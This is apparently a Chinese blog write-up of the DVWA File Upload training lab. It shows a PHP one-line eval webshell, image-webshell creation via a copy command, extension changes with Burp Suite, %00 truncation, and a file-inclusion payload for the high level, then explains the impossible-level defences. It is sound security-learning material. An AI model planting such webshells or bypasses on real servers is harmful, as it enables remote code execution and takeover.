DVWA之File Upload

新的一年,继续学习 😃

今天学习文件上传,还是 DVWA上试试~~

low level

查看源码:)(这里就不贴代码了,环境里都有)

在这里插入图片描述
点击view source即可!

开始测试吧!
通过看代码,代码未做任何限制和过滤可以直接上传一句话木马:

<?php eval($_POST[a]);?>

我这里命名为yjh.php:
在这里插入图片描述
显示成功之后,可以用中国蚁剑直接连接:
这里大概写一下蚁剑的基本使用方法:
在这里插入图片描述
打开界面,空白处右键——>添加数据——>粘贴传入的地址URL以及一句话的密码
在这里插入图片描述

之后:在这里插入图片描述
双击即可进入文件管理界面:在这里插入图片描述
还可以在URL右键:在这里插入图片描述
进行想要的操作!
当出现这个界面之后就说明成功了!!

medium level

也是继续查看源码:在这里插入图片描述
在这里可以看到对上传文件进行了限制,上传文件格式必须为jpeg或者jpg,并且大小只有100000B(97.65kb)

所以只能是文件包含一句话,这里有两种图片马制作方式:
1、 找一张大小在限制范围内的图片,用txt打开在最后加入一句话,然后保存:在这里插入图片描述
2、用命令方式,准备图片和一句话PHP,放在一个文件夹下,在本文件夹下打开cmd,输入

copy 1.jpg/b+2.php/a 3.jpg

大概意思就是将图片1和php一句话合在一起命名为图片马3

大概理解就可以了!
接下来将做好的图片马上传:
在上传过程中利用burpsuit拦截上传包对文件后缀进行修改:在这里插入图片描述
将1.jpg修改为1.php上传。
在这里插入图片描述
即可绕过限制!再用蚁剑连接:
在这里插入图片描述
成功~

截断绕过:
在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,修改文件后缀名为.php%00.png,而服务器会认为其文件名为xx.php,顺势解析为php文件,但是可惜的是,我PHP版本较高无法进行验证,不想再折腾环境了…有条件的可以试试~

high level

看源代码:发现除了限制上传文件类型还利用getimagesize()函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度与文件对比,所以只能上传规定的“.jpg”、“.jpeg”、“.png”之一。同时也限制了上传的大小,注意大小即可。
按照上边的制作图片马的方法制作上传:
在这里插入图片描述

然后构造payload:http://localhost/DVWA/vulnerabilities/fi/page=file:///E://webpage//public//DVWA//hackable//uploads//1.jpg
蚁剑连接即可~

这里也可以利用%00截断绕过,但是限于版本问题就不折腾了…

impossible

看代码:

函数分析:(https://www.freebuf.com/articles/web/119467.html
这个转自freebuf大佬的分析

imagecreatefromjpeg ( filename )

函数返回图片文件的图像标识,失败返回false

imagejpeg ( image , filename , quality)

从image图像以filename为文件名创建一个JPEG图像,可选参数quality,范围从 0(最差质量,文件更小)到 100(最佳质量,文件最大)。

imagedestroy( img )

函数销毁图像资源

可以看到,Impossible级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

<小白初试,路过大佬可多多指正>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值